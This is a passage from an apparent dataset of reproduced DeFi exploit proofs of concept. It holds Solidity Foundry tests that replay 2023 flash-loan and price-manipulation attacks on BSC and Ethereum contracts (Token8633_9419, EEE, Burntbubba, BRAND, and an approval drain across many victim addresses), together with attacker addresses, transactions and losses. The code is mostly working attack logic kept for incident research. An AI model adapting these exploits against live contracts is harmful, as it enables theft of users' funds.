amounts);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ninterface IHelper {\n function autoSwapAndAddToMarketing() external;\n function autoAddLp() external;\n}\n\ncontract Token8633_9419_exp is Test {\n address immutable r = address(this);\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 33_545_074);\n // vm.createSelectFork(\"https://rpc.ankr.com/bsc\", bytes32(0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844));\n }\n\n IERC20 constant x0cca = IERC20(0x0cCa1055f3827b6D2f530d52c514E3699c98F3B9);\n IERC20 constant x55d3 = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 constant x8633 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);\n IPancakePair constant x5b4d = IPancakePair(0x5b4D39f3d6ab3Ee426Bc5B15fF65B1EeD8BB68C2);\n IPancakeRouter constant x10ed = IPancakeRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IPancakePool constant x92b7 = IPancakePool(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n IHelper constant x11cd = IHelper(0x11Cd2168fc420ae1375626655ab8f355F0075Bd6);\n IHelper constant x1281 = IHelper(0x128112aF3aF5478008c84d77c63561885FBBC438);\n address constant x5752 = 0x57528D1cf2b14Bb35781Df41099f10Cd927FF026;\n address constant x5a52 = 0x5a522C949F3DcBc30f511E20D72fb44B770f28e6;\n address constant x9a0c = 0x9a0Ccc75d0B8Ef0BeAc89ECA9f4dC17AD6770AAD;\n address constant xba0b = 0xBA0bcb1D0a2166D26a4Bfd9fAbb825369ab36209;\n\n function test() public {\n // vm.prank(0xe9FAc789C947f364f53C3BC28bB6E9e099526468, 0xe9FAc789C947f364f53C3BC28bB6E9e099526468);\n xd8ea4b59();\n }\n\n function xd8ea4b59() public {\n x92b7.flash(r, 1.1e24, 0, hex\"30783030\");\n }\n\n function pancakeV3FlashCallback(uint256, uint256, bytes memory) public {\n x55d3.balanceOf(r);\n x55d3.balanceOf(address(x5b4d));\n x55d3.balanceOf(x5752);\n x8633.balanceOf(address(x5b4d));\n x8633.balanceOf(address(x1281));\n x55d3.transfer(address(x1281), 12_963_077_939_873_677_887_580);\n for (uint256 i = 0; i < 130; i++) {\n x1281.autoAddLp();\n }\n\n address[] memory path = new address[](2);\n path[0] = address(x55d3);\n path[1] = address(x8633);\n x10ed.getAmountsOut(1e24, path);\n address[] memory path2 = new address[](2);\n path2[0] = address(x55d3);\n path2[1] = address(x0cca);\n x10ed.getAmountsIn(12_757_806_796_945_991_578_214_185_129_315, path2);\n x55d3.approve(address(x10ed), type(uint256).max);\n x0cca.approve(address(x10ed), type(uint256).max);\n x10ed.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 839_828_983_139_806_906_579, 0, path2, r, 1_700_144_157\n );\n x0cca.balanceOf(r);\n x55d3.transfer(address(x5b4d), 1e24);\n x5b4d.swap(0, 12_757_806_796_945_991_578_214_185_129_315, x5a52, \"\");\n x0cca.approve(x5a52, 12_757_806_796_945_991_578_214_185_129_315);\n x0cca.balanceOf(r);\n x0cca.transfer(x9a0c, 1_056_998_382_300_994_038_915_644_566_868);\n (bool success,) = x5a52.call(hex\"004b2cc0\");\n require(success, \"Low-level call failed\");\n x8633.balanceOf(r);\n for (uint256 i = 0; i < 900; i++) {\n x11cd.autoSwapAndAddToMarketing();\n }\n\n x8633.balanceOf(r);\n x8633.approve(address(x10ed), type(uint256).max);\n x55d3.approve(address(x10ed), type(uint256).max);\n address[] memory path3 = new address[](2);\n path3[0] = address(x8633);\n path3[1] = address(x55d3);\n x10ed.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n 12_757_806_796_944_991_578_214_185_129_315, 0, path3, r, 1_700_144_157\n );\n x55d3.balanceOf(r);\n x55d3.balanceOf(r);\n x55d3.balanceOf(r);\n x55d3.transfer(address(x92b7), 1_100_110_000_000_000_000_000_000);\n x55d3.balanceOf(r);\n x55d3.transfer(xba0b, 26_362_092_911_372_968_412_790);\n }\n\n fallback() external payable {\n revert(\"no such function\");\n }\n}\n", "type": "exploit_poc", "protocol": "Token8633_9419", "date": "2023-11", "file_name": "Token8633_9419_exp.sol", "attack_vector": null, "content_hash": "80f5ac265abc1a29", "collected_at": "2026-01-07T10:59:16.536490", "_source": "postmortems", "chain": "bsc", "block_number": 33545074, "total_lost_raw": "~$52K", "total_lost_usd": 52000.0, "attacker_address": "https://bscscan.com/address/0xe9fac789c947f364f53c3bc28bb6e9e099526468", "attack_contract": "https://bscscan.com/address/0x87c75f8a69732bad999ce1fab464526856215c77", "vulnerable_contract": "https://bscscan.com/address/0x11cd2168fc420ae1375626655ab8f355f0075bd6", "attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$52K", "category": "unknown", "exploit_code": "function test() public {\n // vm.prank(0xe9FAc789C947f364f53C3BC28bB6E9e099526468, 0xe9FAc789C947f364f53C3BC28bB6E9e099526468);\n xd8ea4b59();\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$52K", "keyinfo_attacker": "https://bscscan.com/address/0xe9fac789c947f364f53c3bc28bb6e9e099526468", "keyinfo_attack_contract": "https://bscscan.com/address/0x87c75f8a69732bad999ce1fab464526856215c77", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x11cd2168fc420ae1375626655ab8f355f0075bd6", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/bsc/0xf6ec3c22b718c3da17746416992bac7b65a4ef42ccf5b43cf0716c82bffc2844", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$52.0K", "content_richness_score": 8.83, "quality_estimate": "high", "title": "Token8633_9419 Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\n\n// @KeyInfo - Total Lost : ~$22.8K\n// Attacker : https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9\n// Attack Contract : https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5\n// Vulnerable Contract : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833\n// Attack Tx : https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\n\n// @Other Findings\n// address 0xde19b6f4eaaf3a897d1b190d37c86d6ef3b24d02 gained 9,358,702 EEE Token\n// address 0xe568a4ce2eb77d230e1473d2cfd5b5e2129f69a8 gained 18K USD\n// address 0xfef7b2b4fd8f9fdca24713999a5e76c044ccfc0d gained 27K USD\n\npragma solidity ^0.8.0;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\ninterface IPancakePool {\n function swap(uint256, uint256, address, bytes calldata) external;\n}\n\ninterface IAttackRouter {\n function swap(address, uint256) external;\n}\n\ncontract ContractTest is Test {\n IPancakePool pancake = IPancakePool(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n address usdtAddress = 0x55d398326f99059fF775485246999027B3197955;\n IERC20 usdt = IERC20(payable(usdtAddress));\n IPancakePair pair = IPancakePair(0x5813d7818c9d8F29A9a96B00031ef576E892DEf4);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n\n address cake_LP = 0x0506e571ABa3dD4C9d71bEd479A4e6d40d95C833;\n address EEE = 0x297f3996Ce5C2Dcd033c77098ca9e1acc3c3C3Ee;\n address swap_router = 0x5002F2D9Ac1763F9cF02551B3A72a42E792AE9Ea;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 33_940_984 - 1);\n }\n\n function testExploit() external {\n uint256 before = usdt.balanceOf(address(this));\n emit log_named_uint(\"[Begin] Attacker USDT before exploit\", before);\n address me = address(this);\n pancake.swap(750_000_000_000_000_000_000_000, 0, me, \"0x00\");\n uint256 after_attack = usdt.balanceOf(address(this));\n emit log_named_uint(\"[End] Attacker USDT after exploit\", after_attack);\n emit log_named_uint(\"[End] Profit in $\", (after_attack - before) / 1e18);\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n usdt.transfer(cake_LP, amount0); // transfer usdt to the LP, surging the usdt supply\n\n uint256 EEE_amount = 52_000_000_000_000_000_000_000_000;\n IPancakePool(cake_LP).swap(EEE_amount, 0, address(this), \"\"); // get EEE\n IERC20(EEE).approve(swap_router, 100_000_000_000_000_000_000_000_000_000_000);\n\n // swap EEE to USDT\n IAttackRouter(swap_router).swap(EEE, 3_000_000_000_000_000_000_000_000);\n uint8 index = 0;\n while (index < 8) {\n IAttackRouter(swap_router).swap(EEE, 800_000_000_000_000_000_000_000);\n index++;\n }\n\n IERC20(EEE).transfer(cake_LP, IERC20(EEE).balanceOf(address(this))); // transfer directly to the LP\n\n IPancakePool(cake_LP).swap(0, 188_300_000_000_000_000_000_000, address(this), \"\"); // swap EEE to USDT\n usdt.transfer(0xa75C7EeF342Fc4c024253AA912f92c8F4C0401b0, 751_950_000_000_000_000_000_000); // payback\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "EEE", "date": "2023-11", "file_name": "EEE_exp.sol", "attack_vector": null, "content_hash": "054c2f46a690ac92", "collected_at": "2026-01-07T10:59:16.536550", "_source": "postmortems", "chain": "bsc", "block_number": 33940984, "total_lost_raw": "~$22.8K", "total_lost_usd": 22800.0, "attacker_address": "https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9", "attack_contract": "https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5", "vulnerable_contract": "https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833", "attack_tx": "https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$22.8K", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "~$22.8K", "keyinfo_attacker": "https://bscscan.com/address/0xb06d402705ad5156b42e4279903cbd7771cf59c9", "keyinfo_attack_contract": "https://bscscan.com/address/0x9a16b5375e79e409a8bfdb17cfe568e533c2d7c5", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x0506e571aba3dd4c9d71bed479a4e6d40d95c833", "keyinfo_attack_tx": "https://bscscan.com/tx/0x7312d9f9c13fc69f00f58e92a112a3e7f036ced7e65f7e0fa67382488d5557dc", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$22.8K", "content_richness_score": 5.78, "quality_estimate": "medium", "title": "EEE Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"./../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$3K\n// Attacker : https://etherscan.io/address/0x9d44f1a37044500064111010632a8a59003701c8\n// Attack Contract : https://etherscan.io/address/0x4bc691601b50b3e107b89d5ea172b40a9dbc6251\n// Vulnerable Contract : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e\n// Attack Tx : https://app.blocksec.com/explorer/tx/eth/0x2b6d0af0dc513a15e325703405739057f9de6ef3f99934b957653b8a3fade4c6\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/MetaSec_xyz/status/1730044259087315046\n// Hacking God :\n\ninterface ISushi {\n function flashLoan(address borrower, address receiver, address token, uint256 amount, bytes memory data) external;\n}\n\ninterface IFarmingLPToken {\n function deposit(\n uint256 amountLP,\n address[] memory path0,\n address[] memory path1,\n uint256 amountMin,\n address beneficiary,\n uint256 deadline\n ) external;\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function emergencyWithdraw(\n address beneficiary\n ) external;\n\n function withdrawableTotalLPs() external view returns (uint256);\n\n function totalShares() external view returns (uint256);\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ninterface ISushiUSDC is IUSDC {\n function burn(\n address to\n ) external returns (uint256 amount0, uint256 amount1);\n}\n\ncontract BurntbubbaExploit is BaseTestWithBalanceLog {\n IERC20 private constant AST = IERC20(0x27054b13b1B798B345b591a4d22e6562d47eA75a);\n IERC20 private constant SUSHI = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2);\n IUSDC private constant USDC = IUSDC(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n ISushiUSDC private constant SushiUSDC = ISushiUSDC(0x397FF1542f962076d0BFE58eA045FfA2d347ACa0);\n IFarmingLPToken private constant FarmingLPToken = IFarmingLPToken(0xa44e79a2c9a8965e7A6FA77BF0ca8FAF50e6C73E);\n IBalancerVault private constant Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n ISushi private constant SushiSwap = ISushi(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966);\n Uni_Router_V2 private constant SushiRouter = Uni_Router_V2(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);\n Uni_Pair_V2 private constant AST_SUSHI = Uni_Pair_V2(0xd47f61BFCeA6e64F9D3FEC529C44153E04CB73B9);\n address private constant originalAttackContract = 0x4Bc691601B50B3e107B89d5EA172B40a9dbC6251;\n\n uint256 private constant blocknumToForkFrom = 18_680_254;\n address private toAddr;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n toAddr = makeAddr(\"toAddr\");\n vm.label(address(AST), \"AST\");\n vm.label(address(SUSHI), \"SUSHI\");\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(SushiUSDC), \"SushiUSDC\");\n vm.label(address(FarmingLPToken), \"FarmingLPToken\");\n vm.label(address(Balancer), \"Balancer\");\n vm.label(address(SushiSwap), \"SushiSwap\");\n vm.label(address(SushiRouter), \"SushiRouter\");\n vm.label(address(AST_SUSHI), \"AST_SUSHI\");\n }\n\n function testExploit() public {\n // Attacking contract start AST amount\n deal(address(AST), address(this), 2_062_557);\n emit log_named_decimal_uint(\"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDC);\n tokens[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 800e6;\n amounts[1] = 50e16;\n Balancer.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata feeAmounts,\n bytes calldata userData\n ) external {\n SushiSwap.flashLoan(address(this), address(this), address(SUSHI), 400_000e18, bytes(\"_\"));\n USDC.transfer(address(Balancer), amounts[0]);\n WETH.transfer(address(Balancer), amounts[1]);\n }\n\n function onFlashLoan(\n address caller,\n address erc20Token,\n uint256 amount,\n uint256 feeAmount,\n bytes calldata data\n ) external {\n approveAll();\n addLiquidity(address(USDC), address(WETH), 2e6, 1e15);\n addLiquidity(address(USDC), address(AST), 2e6, 10e3);\n addLiquidity(address(SUSHI), address(AST), amount, 10e3);\n\n address[] memory path0 = new address[](3);\n path0[0] = address(USDC);\n path0[1] = address(AST);\n path0[2] = address(SUSHI);\n address[] memory path1 = new address[](2);\n path1[0] = address(WETH);\n path1[1] = address(SUSHI);\n FarmingLPToken.deposit(\n SushiUSDC.balanceOf(address(this)), path0, path1, 0, address(this), block.timestamp + 1000\n );\n // Pull out value from original attack contract storage. Needed it for transfer amount calculation\n uint256 value = uint256(vm.load(originalAttackContract, bytes32(uint256(10))));\n uint256 totalWithdrawableLPs = FarmingLPToken.withdrawableTotalLPs();\n uint256 totalShares = FarmingLPToken.totalShares();\n uint256 transferAmount =\n FarmingLPToken.balanceOf(address(this)) - ((value * totalShares) / totalWithdrawableLPs);\n // In the attack tx amount of LPToken was transferred to exploiter eoa addr before making call to\n // 'emergencyWithdraw'\n FarmingLPToken.transfer(toAddr, transferAmount);\n FarmingLPToken.emergencyWithdraw(address(this));\n SushiUSDC.transfer(address(SushiUSDC), SushiUSDC.balanceOf(address(this)));\n SushiUSDC.burn(address(this));\n AST_SUSHI.transfer(address(AST_SUSHI), AST_SUSHI.balanceOf(address(this)));\n AST_SUSHI.burn(address(this));\n\n uint256 amountOut = feeAmount + (feeAmount / 10);\n address[] memory path = new address[](2);\n path[0] = address(WETH);\n path[1] = address(SUSHI);\n SushiRouter.swapTokensForExactTokens(amountOut, 200e15, path, address(this), block.timestamp + 1000);\n SUSHI.transfer(address(SushiSwap), amount + feeAmount);\n }\n\n function approveAll() private {\n USDC.approve(address(SushiRouter), type(uint256).max);\n WETH.approve(address(SushiRouter), type(uint256).max);\n AST.approve(address(SushiRouter), type(uint256).max);\n SUSHI.approve(address(SushiRouter), type(uint256).max);\n SushiUSDC.approve(address(FarmingLPToken), type(uint256).max);\n }\n\n function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired) private {\n SushiRouter.addLiquidity(\n tokenA, tokenB, amountADesired, amountBDesired, 0, 0, address(this), block.timestamp + 1000\n );\n }\n}\n", "type": "exploit_poc", "protocol": "Burntbubba", "date": "2023-11", "file_name": "Burntbubba_exp.sol", "attack_vector": "flash_loan", "content_hash": "7544910fd97b8cd7", "collected_at": "2026-01-07T10:59:16.536601", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "~$3K", "total_lost_usd": 3000.0, "attacker_address": "https://etherscan.io/address/0x9d44f1a37044500064111010632a8a59003701c8", "attack_contract": "https://etherscan.io/address/0x4bc691601b50b3e107b89d5ea172b40a9dbc6251", "vulnerable_contract": "https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e", "attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x2b6d0af0dc513a15e325703405739057f9de6ef3f99934b957653b8a3fade4c6", "postmortem_url": null, "twitter_url": "https://x.com/MetaSec_xyz/status/1730044259087315046", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "~$3K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Attacking contract start AST amount\n deal(address(AST), address(this), 2_062_557);\n emit log_named_decimal_uint(\"Exploiter USDC balance before attack\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter WETH balance before attack\", WETH.balanceOf(address(this)), 18);\n\n address[] memory tokens = new address[](2);\n tokens[0] = address(USDC);\n tokens[1] = address(WETH);\n uint256[] memory amounts = new uint256[](2);\n amounts[0] = 800e6;\n amounts[1] = 50e16;\n Balancer.flashLoan(address(this), tokens, amounts, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Exploiter USDC balance after attack\", USDC.balanceOf(address(this)), 6);\n emit log_named_decimal_uint(\"Exploiter WETH balance after attack\", WETH.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$3K", "keyinfo_attacker": "https://etherscan.io/address/0x9d44f1a37044500064111010632a8a59003701c8", "keyinfo_attack_contract": "https://etherscan.io/address/0x4bc691601b50b3e107b89d5ea172b40a9dbc6251", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xa44e79a2c9a8965e7a6fa77bf0ca8faf50e6c73e", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/eth/0x2b6d0af0dc513a15e325703405739057f9de6ef3f99934b957653b8a3fade4c6", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaSec_xyz/status/1730044259087315046", "funds_lost_formatted": "$3.0K", "content_richness_score": 10, "quality_estimate": "high", "title": "Burntbubba Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~23 WBNB\n// TX : https://app.blocksec.com/explorer/tx/bsc/0x19ef4febcd272643642925d5d7e9ab8fd3ed8785c5e3268f5b6fee44ae6b4a34\n// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502\n// Attack Contract : https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7\n// GUY : https://x.com/MetaSec_xyz/status/1720035913009709473\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);\n IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);\n IERC20 BRAND = IERC20(0x4d993ec7b44276615bB2F6F20361AB34FbF0ec49);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n IDPPOracle private constant DPP = IDPPOracle(0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476);\n address Vulncontract = 0x831d6F9AA6AF85CeAD4ccEc9B859c64421EEeFD4;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 33_139_124);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WBNB before exploit\", WBNB.balanceOf(address(this)), 18);\n DPP.flashLoan(300 ether, 0, address(this), abi.encode(3));\n emit log_named_decimal_uint(\"[End] Attacker WBNB after exploit\", WBNB.balanceOf(address(this)), 18);\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n swap_token_to_token(address(WBNB), address(BRAND), 300 ether);\n uint256 i = 0;\n while (i < 100) {\n address(Vulncontract).call(abi.encodeWithSignature(\"buyToken()\"));\n i++;\n }\n swap_token_to_token(address(BRAND), address(WBNB), BRAND.balanceOf(address(this)));\n WBNB.transfer(msg.sender, baseAmount);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "BRAND", "date": "2023-11", "file_name": "BRAND_exp.sol", "attack_vector": "flash_loan", "content_hash": "42c4e9a946953062", "collected_at": "2026-01-07T10:59:16.536660", "_source": "postmortems", "chain": "bsc", "block_number": 33139124, "total_lost_raw": "~23 WBNB", "total_lost_usd": 23.0, "attacker_address": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "attack_contract": "https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": true, "severity": "low", "severity_raw": "~23 WBNB", "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc502", "keyinfo_attack_contract": "https://bscscan.com/address/0xf994f331409327425098feecfc15db7fabf782b7", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$23", "content_richness_score": 4.17, "quality_estimate": "low", "title": "BRAND Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$150K\n// Attacker : https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef48\n// Attack Contract : https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc463129\n// One of the victims contract : https://etherscan.io/address/0xa2473460f86e1058bdd0a2c531b15534fd403d97\n// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1723591214262632562\n\ncontract ContractTest is Test {\n IERC20 private constant RAIL = IERC20(0xe76C6c83af64e4C60245D8C7dE953DF673a7A33D);\n IERC20 private constant BBANK = IERC20(0xF4b5470523cCD314C6B9dA041076e7D79E0Df267);\n IERC20 private constant BUMP = IERC20(0x785c34312dfA6B74F6f1829f79ADe39042222168);\n IERC20 private constant HOPR = IERC20(0xF5581dFeFD8Fb0e4aeC526bE659CFaB1f8c781dA);\n IERC20 private constant ISP = IERC20(0xC8807f0f5BA3fa45FfBdc66928d71c5289249014);\n IERC20 private constant FMT = IERC20(0x99c6e435eC259A7E8d65E1955C9423DB624bA54C);\n IERC20 private constant MARSH = IERC20(0x5a666c7d92E5fA7Edcb6390E4efD6d0CDd69cF37);\n IERC20 private constant KEL = IERC20(0x4ABB9cC67BD3da9Eb966d1159A71a0e68BD15432);\n IERC20 private constant CELL = IERC20(0x26c8AFBBFE1EBaca03C2bB082E69D0476Bffe099);\n IERC20 private constant UNO = IERC20(0x474021845C4643113458ea4414bdb7fB74A01A77);\n IERC20 private constant KINE = IERC20(0xCbfef8fdd706cde6F208460f2Bf39Aa9c785F05D);\n IERC20 private constant TXA = IERC20(0x4463e6A3dEd0dBE3F6e15bC8420dFc55e5FeA830);\n IERC20 private constant MoFi = IERC20(0xB2dbF14D0b47ED3Ba02bDb7C954e05A72deB7544);\n IERC20 private constant ODDZ = IERC20(0xCd2828fc4D8E8a0eDe91bB38CF64B1a81De65Bf6);\n IUSDT private constant USDT = IUSDT(0xdAC17F958D2ee523a2206206994597C13D831ec7);\n IWETH private constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n Uni_Router_V2 private constant Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 18_552_866);\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n approveAll();\n address[] memory tokens = new address[](24);\n tokens[0] = address(RAIL);\n tokens[1] = address(BBANK);\n tokens[2] = address(USDT);\n tokens[3] = address(BUMP);\n tokens[4] = address(0);\n tokens[5] = address(HOPR);\n tokens[6] = address(ISP);\n tokens[7] = address(FMT);\n tokens[8] = address(MARSH);\n tokens[9] = address(KEL);\n tokens[10] = address(CELL);\n tokens[11] = address(HOPR);\n tokens[12] = address(UNO);\n tokens[13] = address(KINE);\n tokens[14] = address(KEL);\n tokens[15] = address(TXA);\n tokens[16] = address(BUMP);\n tokens[17] = address(USDT);\n tokens[18] = address(USDT);\n tokens[19] = address(USDT);\n tokens[20] = address(USDT);\n tokens[21] = address(MoFi);\n tokens[22] = address(ODDZ);\n tokens[23] = address(USDT);\n\n address[] memory victims = new address[](24);\n victims[0] = 0xa2473460f86e1058bdd0A2C531B15534fD403d97;\n victims[1] = 0xe2637e705475F367c94467c4b844d58dB293aFF8;\n victims[2] = 0x2481590CD6dcC9870212974627b2E938133d724b;\n victims[3] = 0xC84C76b01f62733A6a385e9a70fd43bda0a4530C;\n victims[4] = 0x2FbC293D80EF7c0D12A65AC69BB9D9E12F049064;\n victims[5] = 0xcCb65510Af354285137a175e86f9618ACf5f4861;\n victims[6] = 0x346Bbb951f24d6744231b38ca9c1305f0985d12D;\n victims[7] = 0x4A3097cdaA8f93C8da1561328fdc13b64E710dCc;\n victims[8] = 0xdbBC243E97F083562a02c458D7182489b4aC85F6;\n victims[9] = 0xB4c6503bf5dca7C3cF98a06bEc59cf5857801D98;\n victims[10] = 0xA9fe587d7c87691Ba76f3A4a63a8A8f2c1dBf12a;\n victims[11] = 0xe53a9d90B66F7EdD7aAA22aaD474aBf45C55aF72;\n victims[12] = 0xb0852b6e58560176Cf803dC4D7d6AAe151B8F242;\n victims[13] = 0x0Aa6de644966648a5C31769d98Fe9F9881362eC8;\n victims[14] = 0xE380cB00D0a1a7CB7d71569B573B6D4d665aFf87;\n victims[15] = 0x800D11ae57133F6E27B4632b598caF630f0A55Dc;\n victims[16] = 0x956750265b7a33A8564510AF5B4b3589484aF403;\n victims[17] = 0x8d6114a24cC8cca883bBe77034f3e6F19bD8204C;\n victims[18] = 0x976248f02DA78E034F484984009b4b9f15AE1722;\n victims[19] = 